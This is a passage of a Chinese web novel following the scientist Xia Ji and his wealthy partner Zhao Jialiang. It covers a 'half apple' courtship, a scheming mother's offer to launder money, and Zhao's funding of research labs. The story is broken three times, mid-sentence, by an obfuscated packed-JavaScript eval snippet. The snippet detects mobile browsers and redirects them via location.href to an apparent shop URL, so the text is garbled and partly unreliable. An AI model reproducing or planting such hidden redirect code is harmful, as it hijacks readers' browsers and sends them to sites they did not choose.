果不其然,夏季刚拐过一个弯,就看到那个男人快步追了上来,十分熟络的开口问,“是去小卖部吗?准备买点什么啊?” 夏季目不斜视,冷淡道,“香烛纸钱。” “啊...啊?”赵嘉良随即敛起面上略显谄媚的笑容,正色道,“抱歉,差点忘了你回来的目的了。” 其实在夏季所讲述的那个故事中,他口中的女保姆,也就是那位“妈妈”实际上最初就是喻馨找来除掉夏季的那位。 只是这个小芬好歹是读过几年书,并不是什么无知的法外狂徒。她知道杀人犯法,面对夏季这样一个娇滴滴的可爱宝宝也着实下不去手。 于是她灵机一动的想到了一个好办法:将夏季带回老家教养,让夏家老两口出资! 这个办法毫无疑问是被她走成了。 她不仅因此挣到了钱,还顺便替村里挣了一笔外快。因此,清水村里见到京市口音的人就开讹,便成了传统。因为他们都知道,这些京市来的人都是为了夏季而来。他们有钱,为了不走漏风声也乐意花点儿小钱省事儿。 “你妈妈对你很好吧?”否则赵嘉良也想不出夏季为什么要祭拜她的理由。 “谈不上多好。”夏季如实说,“她对我更像是保姆,而非母亲。当然,她拿钱办事,这也无可厚非。” “她不是什么大善人,会为了钱去干些不体面的事情。但在大是大非面前,她从未选择作恶或助纣为虐。更何况,她是为了救我而死。作为我户口本上的母亲,我理应年年祭拜,为她供奉香火。” 赵嘉良心头一沉,“你之前是遇到过什么危险吗?” 夏季莞尔一笑,“你真觉得以喻馨的脾气,她真的没有阻止过我回夏家吗?” 由于夏听风早逝,当初喻馨跟夏家老两口的三个约定中只有两个能继续执行下去。 只是其中夏季不能回夏家这一条,是没有任何法律效力的。所以喻馨想了很多办法,甚至差点儿让夏季没能顺利前往京大报道。 “当时...很难吧?”赵嘉良心里有些难过,“如果我能早点认识你就好了。” 夏季睨了他一眼,“那时候你还在跟你亲爹火拼吧?认识我哪儿好了?替你接受打击报复吗?” 赵嘉良一噎,“我不是这个意思...” 但想想那个时期自己也是自身难保,若真早认识了确实未必能护得住夏季,于是他只得丧气的作罢。 “走吧,多买点纸钱,咱们后天一起烧。” 虽然夏季强硬的拒绝了赵嘉良“一起烧纸的邀请”,但腿长在人家身上,夏季也不能真把他当大黄狗那样栓家里不让跟着。 李小芬死了不过几年,可她的墓却杂草丛生,看着跟荒废了几十年的野坟也差不多了。 “当时我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177585|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和今安姐都没钱,能给她立个碑就不错了。”夏季似是看出了他的疑惑,漫不经心的解释道,“你是我的谁啊,我求你了,你别跟着我一起烧纸了行吗?” 赵嘉良见他隐隐真要动怒,立刻乖觉的退下。 不过在夏季烦躁的打理坟头枯草和垃圾的时候他上前帮忙,却并没有遭到拒绝。 在夏季被迫烧完两人份的纸钱后,他今年的任务也算是告一段落了。 虽然昨天赵嘉良听从他的意见确实把女秘书送下山了,但昨晚更过分的是自家门口仿佛是来了个野战营。自备了迷彩帐篷和某队同款炊事车及大量物资!除了没有全副武装,真刀真枪之外,确实十分唬人。 这搞得夏季甚至都开始怀疑自己是不是惹到黑某会了~ 清河村的坟地在后山,步行看着挺近,走起来却挺远。 夏季虽然在山里长大,却并不擅长走山路。回去的时候天空飘起了一点小雨,湿滑的山路一下子变得难走极了,惹得夏季愈发烦躁。 “去那边果园躲躲雨吧?”七月时节,后山村民种的那片苹果树都结果子了,青色圆润的果子看着长势喜人,相信在不久的将来,它们就能长成通红甜美的好果子。 夏季不喜欢山中雨天黏湿的感觉,可被迫跟赵嘉良同在一片棚子下躲雨他心里依然不痛快。 “赵总,您喜欢我什么,我改还不行吗?”夏季这时候也是放低了标准,“甚至试图开始跟赵嘉良讲道理了。” “喜欢一个人的方式不一定是非要把他掰弯啊,您觉得呢?” 可赵嘉良却是笑眯眯的说,“可我觉得我俩就是天生一对啊。” 说着他还补了一句,“我的直觉向来很准,相信我一次好吗?” 夏季被他气的直翻白眼。 眼看着赵嘉良又开始为王今安随口胡诌的“宫殿之梦”侃侃而谈,表示三年之内必然他成为全京市最尊贵的小王子时,夏季的逆反心理简直到达了顶峰! 于是他冷笑着指着天说,“要我相信你,可以啊?除非现在天上掉下来半个苹果我就相信你的直觉。” 他话音未落,只听“咚”的一声,随即一个硬物重重的落在了夏季头顶,把他砸的两眼直冒金星。 “小心!”赵嘉良顾不得其他,大惊失色的冲了上去扶住摇摇欲坠的人儿,“没事吧?” 他再低头一看,那个砸中夏季脑门的东西,正是半个苹果... 这下轮到赵嘉良戏谑一笑了。 他捡起地上的苹果递给夏季,“现在相信了吗?” 那天下午,坚定的唯物主义者夏季在不死心的在那片果园里折腾了很久。甚至赵嘉良都纵着他叫来了所有手下搜查,最后终于查明了半个苹果的来源。 “山里有猴子来偷吃,苹果没熟还酸着呢,咬了几口就被丢了。” 面对这样的调查结果,夏季当晚摸着自己脑门上那个被砸出来的大包翻来覆去了一整宿。 然后第二天,他就顶着黑眼圈跟着赵嘉良一行人返京了。 后来每每有相熟的人问起他们两是怎么搞到一起去的时候,赵嘉良都会一脸骄傲又幸运的说:感谢大自然的馈赠。 而王今安知晓他俩搞一起后也是捶胸顿足好几天,一脸恨铁不成钢。 “夏季你怎么回事?不是说好要当贫贱不能移,威武不能屈的华国一流研究员吗?你怎么被赵嘉良的糖衣炮弹拿下了?” 此时一脸幽怨的夏季只能无奈的回答,“没办法,这大概就是天意吧。” 在王今安听他说了半个苹果的故事后,她更是一脸难以置信,“所以你当时是怎么想到半个苹果的?” 夏季叹了口气,“谁让我从小到大最崇拜的物理学家就是牛顿呢?” 不过两人虽然是确定交往了,但过于悬殊的财力背景让他们的这段关系刚一曝光就蒙上了一层暧昧的金钱色彩。夏季是不太在意外界评价的,可由于当时他在申请王院士的国家级保密项目,所以并没有就此时进行澄清。因为上面的意思是:这样的外界揣测能够更好的掩饰项目科研进度,让有心之人放松警惕。 因此,夏季是赵嘉良养的金丝雀的消息就这么莫名其妙的在“有心之人”的授意下传遍了整个京圈。并且,除内部人员之外,无人察觉其中不妥。 而那个耗尽赵嘉良现金流,搞得他浅浅狼狈了一段时间的夏园,也正是在这个时候建成的。 15.第 15 章 赵嘉良和夏季刚确定关系的时候,夏季才研一。那个暑假过后,刚刚研二的夏季就在王院士的力排众议下进入了某国家级实验项目工作。 因为是非常高级别的研究,赵嘉良在得知夏季一旦进组之后他们就不能自由见面后,一度怀疑夏季是不是搞恋爱诈骗,故意忽悠自己。 “每月休一天...抛开路上时间,我们每个月能在一起待满12个小时吗?”赵嘉良实在绷不住,“我身为一个优秀的资本家都不提倡员工007呢!国家级实验室怎么还这么剥削员工!” 看着男人一脸要“告到中央”的表情,夏季没好气的瞪了他一眼。 “没格局。老师他们做的是航天相关的研究,实验项目是对标追赶欧美技术,为的是打破欧美列强在宇宙空间站中的霸权地位。我们最缺的,就是时间!”不过考虑到赵嘉良只是个市侩商人,夏季也懒得跟他解释自己这种有着远大宏伟抱负的科研人员的毕生理想。 由于这天是两人第一次正经约会,特意系了一条暗红色的骚包领带的赵嘉良目光呆滞了一瞬,下意识的问,“你不是学物理的吗?” 不过这话一问出口他就发现自己问了个蠢问题。 因为项目有保密性质,夏季并未向赵嘉良透露具体细节。但他告知了赵嘉良,因为恋爱关系,之后赵嘉良也要接受相关部门的谈话,并且签署保密协议。 “放心吧,我绝对全力支持你的工作!”在许下这句承诺之后,赵嘉良只觉得自己胸口的领带比红领巾更加鲜红了... 事实上,赵嘉良的这句“支持”可不是一句空话,而是真金白银的出钱出力的。 因为喜欢上了一个理想成为科学家的对象,这让从小跟着长辈学挣钱本事的赵嘉良从思想上有了相当的改观。在和夏季艰难恋爱的头几年,他一边斥巨资修建夏园,一边还要“娇养”着夏季。 虽然自从赵嘉良接手赵家后,赵氏的公司都发展很好,很能挣钱。偏偏那段日子却是赵嘉良活了快三十年,过得最穷的时光~ 所以在王今安质疑赵总会享受的时候,夏季才会这么毫不犹豫的出言帮他叫屈。 “其实我能住上夏园,姐姐你才是功不可没。”夏季微微一笑。 感谢王今安的‘灵机一动’,这才有了赵嘉良刨了亲爹准备的老宅地基,给对象造宫殿的壮举。所以今日的王今安能带着自己的导师夫妇俩在这个奢靡无度的房子里生活,全靠她胡说八道。 察觉到他笑容中的一丝狡黠,王今安翻了个白眼。 “是我瞎了眼,刚开始还以为是赵嘉良那完犊子玩意儿对你强取豪夺。”王今安眼珠子咕噜一转,凑到夏季跟前,“不过话说回来,你到底是怎么把赵嘉良那种身份的男人训成这样的?” 外人可能只知道赵嘉良为夏季花了不少钱,但王今安却比谁都清楚,赵嘉良几乎已经把全副身家都放在夏季身上了! 夏季嘴角微抽,半晌才憋出一句,“你有没有想过,也许并不是我驯服有方,而是有的男人骨子里就喜欢给人当狗?” 关于这个话题,王今安可太感兴趣了。她眼睛一亮,拽着夏季的手准备让他展开细说。但这时候管家却过来了,“阿久来了,夏先生有空见一见他吗?” “让他去侧厅候着。” 夏季打发了管家,又跟王今安交代了两句,这才换了衣服去见赵嘉良的这位心腹。 “怎么这个时间过来?”正因为是赵嘉良的心腹,阿久相比一般的下属知道的事情要多些,有的事情在他面前也就不需要那么避讳了。 而阿久这人平日里看起来吊儿郎当,跟个二流子似的,但其实胆大心细,做事极为妥帖。因此,赵嘉良出事之后夏季这才会多信他几分。 短小精壮的男人小心翼翼的看了一眼今日似乎心情不错的夏少爷,还是低声说出了刚刚得到的最新消息,“精神病院那边...赵锋锐要给那对父子俩办转院了。” 夏季目光一凛。 刚刚跟今安姐回忆往昔而稍感轻松愉悦的心情再度重新紧绷。 虽然从他的表情上几乎看不出什么变化,可站的离他很近的阿久还是能敏锐的察觉到他周身气息的细微变化。 “还有一件事...”想着赶紧把事情交代清楚赶紧走人,阿久索性面无表情直白开口,“我刚刚过来的时候在门口碰到周镇川了,他打扮的人模狗样的,还带了一束玫瑰花。” 其实作为一个五大三粗的男人,阿久一般是不会关注另外一个大男人是不是打扮的花枝招展。 但周镇川作为他老板的“情敌”,阿久对他的关注向来是会多些的,尤其是在如今的这个多事之秋。 夏季明显有些不耐烦的微微蹙眉,他还没有听到管家来报说有客人来访。而事实上,夏季今天也完全没有接待客人的心情。 见状阿久也是非常识趣的嘿嘿一笑,“我猜到您今天不想见他,所以在在门口遇到他的时候立刻给夏荣打了个电话。” “要是我没猜错,这时候这对小夫夫应该已经开始吵架了吧~” 阿久猜的没有错。 自从夏季去过一趟夏家,直接把夏荣那间住了20多年的房间给彻底砸了之后,夏荣就气的再没回过夏家了。 不过自他结婚之后回娘家住的时间也不多,大多数时间都是住在跟周镇川一起的婚房里。可他俩都住在同一个屋檐下了,周镇川居然还能抽出时间来骚扰夏季,这还真让人意外。 所以好心的阿久便“十分热心”的给夏荣打了个电话。 按照那位骄纵小少爷的性子,周总的精心打扮怕是要打水漂咯~ 阿久汇报完工作之后就先行离开了。 随后夏季就接到了管家的汇报,说周镇川和夏荣在门口吵起来了,闹的很不体面。 要知道夏园这地方虽然是私人住宅,但因其过于恢弘浪漫的气势和绝佳的地理位置,让它毫无疑问的成为了京市豪宅的顶级代表。甚至近些年的网络风向节奏,一些外地游客都会特地到夏园附近打卡拍照。 而夏荣这种名气不小的演员明星在夏园门口这种地方跟丈夫吵架,那就有点意思了。 “去,让门卫那边多拍点视频照片什么的,然后卖给狗仔。”夏季想了想说,“至于能卖多少钱你们自己看着办, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16201330|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这笔钱就给工作人员当奖金吧。” “好的夏先生。”老管家笑了笑,冲他躬身致意后就离开了。 在夏园工作,总是时不时能挣到些不菲的意外之财~ 被阿久这么一打岔,夏季也没了继续跟今安姐享受美好生活的心情。 察觉他情绪不对,王今安也只能多说些赵嘉良最近好转的病情,尽可能的哄他开心。只是她哄人的水平明显跟赵狗不在一个水平线上,夏季整个人蔫蔫的,她哄了半天也未见成效,就索性披上衣服走了。 “姐你去哪儿?”夏季喊了她一声。 女人头也不回的说,“去找我导师,让他别泡温泉了,赶紧回实验室把你家狗男人弄醒。省的你一天到晚拉着个脸!” 赵嘉良出事,夏季心情不好。 他心情不好的时候,就喜欢搞点什么事。 虽然如今夏园内一片宁静,但被曝出“生育三子,子子不同爹”的喻馨过的可就没那么平静了。 因为夏燃在之前的采访中已经承认了自己是遗腹子,弟承兄妻虽然不好听,但在大家族里也还算说得过去。只是夏荣那边就很难解释的清了。 毕竟喻馨从头到尾都没有跟夏听风离过婚,如今她虽然还没有站出来正面回应“婚内出轨”一事。 现在上面对内娱明星的道德品行管理的十分严格,对有道德瑕疵的艺人零容忍!从爆料出来到被各大主流媒体删减镜头,恐怕喻馨自己都想不到为什么这次相关部门的动作为何会这么快! 但她若是有门路有意识去查一查就会发现,原来这事儿是“有心之人”特地安排交代过的。 虽然以她如今的身份地位对于当不当艺人影响并不大,可官方的这一行为无疑是一记重锤,把喻馨锤的在内娱很难翻身。在跟小男友闫庆泽商量过后,喻馨觉得反正以后自己也不靠拍戏挣钱,当务之急还是应该先把夏家的股份和控制权保下来。 可经过昨天夏季登门要继承权的事情之后,夏燃跟她几乎已经处于快要撕破脸的边缘。 身为一个常年高高在上,且自认为对长子“恩重如山”的母亲,喻馨是根本不愿给夏燃低头,哄他跟夏季争继承权的。 “姐姐,都这种时候了,你就低个头哄哄孩子吧。”喻馨的小男友闫庆泽今年才四十多,因为保养得当又爱好健身,光看外表竟是不输一些内娱小鲜肉。他是在喻馨当年最受伤,最绝望的时候忽然出现在她身边的。这么多年来,他凭借着温柔体贴和能说会道,在喻馨身边不仅混的儿子房子都有了,他本人也是彻底实现了阶层跨越。 照理说,一个“男模”出身,又没念过多少书的男人能混到他如今这个地步已经很不错了。但也不知道是不是人的欲望太容易膨胀,跟夏季夏季根本没有接触过的男朋友劝说喻馨说,“夏燃现在已经成家立业,他老婆那么强势怕是不会像以前那样听话了,可夏季不一样啊。他从小一个人在乡下长大,姐姐你毕竟是他亲妈,你多疼疼他,他总会心软的。” 喻馨沉默了许久,最后还真是捏着鼻子听了他的建议。 “那好吧,现在也只能从夏季那儿下手了。” 16.第 16 章 当喻馨穿着一身单薄的白色长裙,妆容素净的光临夏园时,还是出乎许多人意料的。 在当下这个多事之秋,无数双眼睛都盯在赵夏两家身上。因此,还有不少人在私下感慨,喻馨这女人还真是能屈能伸。 同在一个城市生活,夏园又是京市如此不可忽略的地标性建筑。喻馨光是从夏园门口路过,都不止百十次了,可这些年来,她甚至从未想过要登门拜访。 若不是这次夏季带着律师团打上门来,夏燃又破天荒的说什么都不跟喻馨一条心了,她还真未必会亲自登门,走这一趟。 “夏先生还没有起,您请稍等片刻。”老管家将人例行公事般的引入会客厅,之后就独留喻馨一人在偌大的厅堂中,便要转身离开了。 喻馨因为对方的怠慢心中稍有不快,但一想到自己跟夏季这些年来的恩怨和此行的目的,她还是好脾气的暂且忍耐了下来。 “那就劳烦您再跟夏季说一声我在等她。”喻馨面上的笑容优雅得体,若是不明真相的旁人来看,恐怕还真会以为她是个温和宽容的好母亲。 管家不置可否的“嗯”了一声,随即轻轻的关上了会客厅的门。 结果喻馨这么一“稍等”就等了一个多小时。 期间她喝了两杯茶之后,实在百无聊赖的还在会客厅附近转了转。 不得不说,这座夏园的确无愧于“华国第一豪宅”的名号。饶是见过不少大世面的喻馨都不得不承认,走进夏园后才会发现,外表的恢弘不过是这座庄园最不值一提的优点。内里的无论是装修还是绿化,都有着世界顶级的水准。甚至连会客厅里的那些不起眼的小装饰品,其价值都是普通人终其一生都无法企及的程度。 不知不觉的,喻馨从会客厅里走到了门口的长廊上。 在这座整体风格偏古罗马欧式风的大宅邸中,走廊上的装饰摆件都是些很难让人欣赏的起来的奇形怪状的石头。 喻馨凑近看了看,这些被精心用钢化玻璃隔绝起来的石头边上还有一些她看不懂的编号。 “真丑。”实在欣赏不来这些破石头的喻馨看了又看,最后确定这些石头并不具备任何艺术价值。 “这是赵嘉良花大钱从国外拍卖行里帮我拍回来的陨石。”喻馨正看着,远处走廊的尽头传来一道清凌凌的声音。 她赶紧抬头望过去,只见夏季已经缓步朝她走了过来。 “它们经历了亿万光年的旅途来到这里,本身就是一种命定的缘分。”夏季微笑着走到女人身前,笑容温和,语气平缓,仿佛前几天带着浩浩荡荡的律师团上门找喻馨麻烦的人不是他似的。 喻馨有些惊讶的睁大眼睛,“原来如此,。” 之前夏季刚回京市的时候她就听说过他在京大念的是个比较冷门的专业,也是现在听他说了之后才想起来,夏季大学的时候念的好像就是一个天文相关的专业。 那时的喻馨对此还十分满意。毕竟夏季只要念的不是什么金融,工商管理之类,可能跟夏燃抢夏氏公司的相关专业,对她来说就是最好的。 此时,只有母子两人在这空旷的走廊上相对而视,喻馨微微昂首看着对方那张熟悉又陌生的美丽脸庞,心中百感交集。 正值初秋时节,夏季穿着一件白色衬衣,外面套了一件米色针织马甲,看起来儒雅又温和。 “你这么穿着,很像你的父亲。”喻馨望着他,仿佛是透过这个年轻人的身体看到了某个早已不存在的人,“夏季,其实我一直很后悔...” 夏季的父亲夏听风已经死了十几年了。 但作为曾经在京市叱咤风云过的夏氏掌权人,他流传下来的事迹其实并不少。 所以在赵嘉良跟夏季确定恋爱关系,但又因为夏季进组“投身科学事业”后,他因为一个人在外面闲的蛋疼,就特地找人想办法深挖了一下夏家的陈年往事。 经过赵嘉良的三年多的深挖,有些真相终究还是为夏季所知晓。 此时此刻,面对喻馨口中的“后悔”,夏季倒是没有任何意外。 “你确实应该感到后悔。”他歪了歪头,有些遗憾的说,“毕竟在这个世界上,你永远也不会再遇到一个比夏听风更爱你的男人了,不是吗?” 喻馨的身子一僵,下意识的想要反驳。 可话到了嘴边,她却连一个音都发不出来。 夏季或许在容貌上更像喻馨一些,但他就那么云淡风轻的站在那里,那种带着淡淡忧伤的温和气质却跟他的生父真的很像...有那么一瞬,喻馨甚至产生了一种夏听风活过来了的错觉。 “我很抱歉...”半晌,女人流下一行清泪,小声啜泣着说,“能原谅我吗?” 这天,夏季破天荒的陪她坐在会客厅里坐了很久。 喻馨流着泪跟他讲了很久关于夏季父亲的往事,诉说着自己的无奈。 虽然这些都是夏季早已知晓的陈旧话题,可同样的事情由不同的人说出口来,给人的感觉却也是完全不同的。 站在喻馨的视角,她会美化合理化自己的作为也无可厚非。 “妈妈知道你想拿回继承权是理所应当的事情,这事儿我没什么好辩解的。”喻馨抹了把泪说,“正好你大哥也是愿意的。夏季你看这样行不行,夏氏的股份我让他们全部转给你。但你毕竟没有经商的经验,夏氏这么大的上市公司,有多少人样仗着这份工作生活的,你不能把公司当儿戏。所以到时候还是让你大哥或者我再找经理人继续经营公司,行吗?” 夏季本就没有亲自经营公司的打算,于是从善如流的点了点头,“大哥若是不介意给我打工,我自然是没意见的。” 他的点头让喻馨心头一喜,暗自道:这人果然还是个心软的小孩,只要妈妈给点温暖就好说话多了。 见状,喻馨又试探着开口,“公司股权都给你,但家里的现金不动产什么的还是要给夏燃和夏荣分一些的,你说呢?” 夏季又是点了点头,“那就分一些给他们吧,反正那些东西也不值钱。” 见他今天如此好说话,喻馨心中一喜,寻思着男友说的果然没错,夏季这家伙就是吃软不吃硬的。之前他刚回夏季的时候自己总不给他好脸色,怕是激发了他的逆反心理。如今自己作为母亲,只要稍稍示弱示好,夏季的态度这不是就好起来? 于是心里有底的喻馨又说,“对了,赵总的身体情况如何了?我听外面都在传,说他车祸脑死亡了。” “妈妈知道你对赵总一片真心,可脑死亡就跟人没了灵魂一样,躯体是不会醒来的。”说着她又假模假样的抹了下并不存在的眼泪,“赵家的情况复杂,那些姓赵的内斗非常厉害,几乎各个都是要钱不要命的主。夏季你一个搞学术的怕是斗不过他们。” “夏园虽然已经过户给你了,但我刚刚也看了下,这院子里的东西各个都价值不菲,万一赵嘉良人没了,那些姓赵的要跟你争遗产,这对你来说可是大大的不利啊!” 见她这么快就说到终点了,夏季心中略感失望。 他本以为喻馨这把年纪了应该能沉得住气,多跟自己表演一番母慈子孝的戏码。甚至夏季自己都已经差不多酝酿好了感情,准备陪她玩玩的。结果这母子情深都没演上半个小时,喻馨的话头就转移到赵嘉良的财产上去了。 “那依您看,要怎么做呢?”夏季歪了歪脑袋,一手托着下巴望着她。 喻馨也没有多想,便说,“你可以先把夏园里之前的藏品先出掉套现。不过现金放在你的账户里,到时候真要分遗产了肯定会被分走很多的!” 夏季听她说的想笑,但在面上还是淡淡的追问,“哦?那您说应该怎么办才好呢?” 如果喻馨能多在意一点,她也许就能看出夏季眼中的戏谑。只可惜身为作为母亲,喻馨在自己的孩子们面前总有种迷之自信,自信自己在他们面前就是有天然的道德压制力。 “可以这样,妈妈这边有门路。你把东西变卖之后可以把钱转到我这边的户头上,到时候我找人给你过一道手,就能把这钱洗干净了。就算到时候赵总真没了,赵家人争遗产也挣不到这部分上...” “瞧您这话说的~”夏季毕竟不是演员,在某些方面终究比不上喻馨。他憋不住笑了。 “您的算盘珠子都快崩我脸上啦。” 喻馨嗔怪的瞪了他一眼,“你真是一点危机感都没有。赵嘉良出事,赵家剩下的那些人没一个顶事的,眼看着赵家都要倒了,你以为你还有几天好日子过?!” “你赶紧把东西变卖了,钱打到我账户里才能保证咱们家利益最大化啊!” 夏季忽然就感觉有点无聊了,他懒懒的打了个哈欠,“谢谢您的建议,我会考虑的。” “时间不早了,我一会儿还要去医院探望赵总,就不亲自送你了。” 说完,夏季直接喊来了管家送客。 喻馨面色一僵,再看着夏季似笑非笑的表情,忽然开始怀疑对方刚刚跟自己聊了半天是真听进去了,还是在逗自己玩儿的。 但一想到他都陪自己坐了大半个小时了,应该不至于这么闲着没事儿逗自己玩吧? 于是喻馨最后又叮嘱了夏季两句,让他好好考虑自己的话,这才拿起手包施施然然的走了。 待她离去,夏季才重新召来管家问,“喻馨跟我密谈一上午的消息放出去了吗?” “按照您的意思,已经定点投放给夏荣了。尤其是她同意将夏氏全部股份都给您的消息,必然传达无误。”老管家毕恭毕敬的答道。 夏季点了点头,微微一笑,“也不知道这么多年了,夏荣能有多少长进。希望他们一家三口,是真能一心共进退...” 老管家面露鄙夷,“好好的夏太太不当,非要跟个鸭子生孩子。自甘堕落成这样也是古今罕见了。” 夏季倒是对此有不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16210123|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的见解,“她又不差钱,富婆花钱找个年轻漂亮的小男人享受生活没什么问题,我也支持。” “可听小男友的话到这个程度,她这一把年纪也真是白活了...” 这时候已经快到午饭时间了。 夏季亲自去把王今安从床上拖了下来,然后又让厨房将提前一天准好的丰盛午餐摆上桌,这才又亲自去请了她的导师和师娘去餐厅用餐。 看着一桌子的飞禽走兽,这两天尽享奢靡人生的医疗界泰斗李琛王教授发出了这几日来不知第多少次的惊叹了。 “太奢侈了,太浪费啦!”本来得意弟子王今安喊他们来夏园住几天的时候他们就有些不好意思,如今真住进来了,李教授的心态也是发生了一些转变,“夏季啊,明天就别让人弄这么多东西啦。有这钱,不如直接投给我实验室,我还能多搞几个项目~” 夏季微微一笑,“没关系,项目的钱另算。” 关于人情世故这方面,夏季也不算愣头青了。若说赵嘉良被撞成那个鬼样子,全华国有谁有那么一丝希望能把他救活,那就非李教授莫属了。 因为今安姐的关系,夏季第一时间就把人送去了李教授的实验室,这才保住了赵嘉良的一条小命。 虽然治疗的费用是另外算的,但也正是因着今安姐的缘故,夏季比谁都清楚这位年过七旬的老人为了从阎王手里把赵嘉良抢回来,这整整一周时间,这位老教授合眼的时间都没比夏季长几个小时! 一直到赵嘉良的情况终于稳定,“脑死亡”的状态奇迹般的逆转,夏季这才让王今安把精疲力竭的李教授接到夏园来休养。与此同时,夏季也斥巨资给李教授手下的工作人员都发了奖金。 “您的研究这次真是救大命了,等阿良醒了,我一定让他给您的实验室投资!”夏季信誓旦旦的保证。 李教授也很开心,美滋滋的跟夏季客气了一番,心里全是救活财神爷的愉快~ 一旁的王今安听着他俩的一唱一和,默默的在心中为赵总点了个蜡。 作为某科学院无偿投资最多的商人,赵嘉良的“金主”身份,在某个圈层的人心目中无可动摇。 其实夏季当初刚进研究院的时候,因为过于年轻曾经引得一阵非议。 毕竟王院士那个级别的人物早八百年都不带研究生了,因此夏季被他收入门下之后很多人都在打探其中缘由。正好这时候赵嘉良又开始高调出没,有着赵家家主作背书,在研究院里一路风生水起也就不意外了。 很多清高的科研人员其实打从一开始就看不惯夏季这种上位的方式,尤其是他研二的时候还沾了王院士的光,进了顶级科研项目!虽然一开始只是个跑腿打杂的,但能在这种项目里打杂的,哪个不是各专业里的顶级天赋怪呢?! 不过夏季这个“关系户”的名号只用了不到两年就被研究所里的诸位撕掉了。因为在这两年时间里,在赵嘉良的不懈努力下,研究所里许久没有受经费问题而头疼的项目了~ 甚至夏季读博的时候,听说王院士后续研究工作繁重可能带不了博士生后,好几个名望极高的老教授为了争抢夏季都差点儿打起来。毕竟能把夏季捞到自己名下,以后的研究经费岂不是可以为所欲为? 最后还是领导找王院士谈了话,让他老人家辛苦点,最后把夏季带出师了再撒手,这才有了夏季在王院士门下硕博连读的事情。 而从夏季读博开始,他就已经是全研究所公认的“夏总家的金丝雀”。 只是外人不知道的是,研究所里不仅是夏季,甚至夏季的一个组的同事们也都开始称呼赵嘉良“金主爸爸”了。尤其是在夏季跟着老师忙的不知天地为何物的时候,赵嘉良还悄悄咪咪的入了个党,并且在某些“有心之人”的忽悠下,哐哐往某研究所里砸钱。 等夏季忙过那一阵子,终于如同出笼的雀儿一样飞出来之后才发现赵总已经在他们研究所养了一群“雀儿” 了。 对此,王今安是这么说的。 “搞科研的最怕的不就是经费卡脖子,款项下来的慢嘛。你现在跟着我外公那种级别的大佬是肯定没有经费苦恼,但谁都不可能一辈子搞国家级项目,总有难受的时候。”当时已经开始硕博连读的她已经开始察觉到深造的辛苦了,尤其是她还是个医学生~ “你看我导,整天研究脑神经的就特别心水国外某款RGA刀。但太贵,上面不批啊。” 夏季沉默片刻,发现自己竟无法反驳。 毕竟自从跟赵嘉良交往后,自己每年过生日都能花他九位数。 当然,这些钱也没有白花。它们都从赵嘉良的爱变成了科研之路上必不可少的垫脚石。 就比如某年夏季生日的许愿的天文观测站...自从这个生日礼物get后,夏季就彻底失去了择偶权。当初随口一说的交往承诺,也是彻底治好了他偶尔口嗨的毛病。助夏季成长为一个成熟稳重的科研人员~ 17.第 17 章 夏季刚跟赵嘉良确定关系的那阵子,心里是十分不得劲儿的。 他是做梦也不会想到,自己随口一说的半个苹果还真能秒实现。本来这种秒打脸的事情就已经足够让夏季烦躁不已,再加上赵嘉良如有天助之后的死缠烂打,让夏季当时直接开始怀疑人生。 也正是从那次开始,年轻的夏季第一次开始反思自己的人生理想。 小时候的夏季因为受环境所限,并不像很多城里孩子一样见识过太多的花花世界。在那个时候,成为一名优秀的科学家,能挂在学校的墙上就是当时的夏季所能想象到的,最体面的人生了。因此,在被半个苹果在脑门上砸了个大包之后,夏季回去闭门反思了大半宿。 虽然谁都不好说当时他一个人在屋里都反思了什么东西,但不可否认的是,之后夏季对自己小学时期起就一直崇拜的著名物理学家牛顿先生,就再没有之前那么尊崇了...因为他忽然就开始理解牛顿先生为什么从晚年起,转而开始研究神学了。 为了维护自己坚定的唯物主义者人设,夏季不敢多想,最后还是敷衍着答应跟赵嘉良“处处看”的请求。 其实从某些方面来讲,夏季这人还是很有自知之明的。他知道自己除了长得不错之外,身上的臭毛病一大堆。 本以为赵嘉良这种只看脸的家伙在认清自己的“真实面目”后,激情淡了也就散了。所以最初夏季给这段恋情的持续时间预期只有不到半年。 可是在夏季正式进入王院士的保密研究项目后,他也是后知后觉的发现,自己原本只是想先敷衍着“处处看”的凑数男友,根本就甩不掉!! 从主观原因上来讲,赵嘉良的遗传性恋爱脑尚未纳入医保,目前无药可医。 从客观原因上来说,则是赵嘉良太有钱,又是经受过组织审批的“合格研究人员家属”。所以每当研究院里的哪个项目的谁谁谁没钱了,都会动脑筋想要请赵总帮帮忙。 偏偏那时候的夏季在保密项目里专心跑腿打工,两人确定关系之后连相处的时间都没多少。就更别谈互相了解本性和生活习惯了。 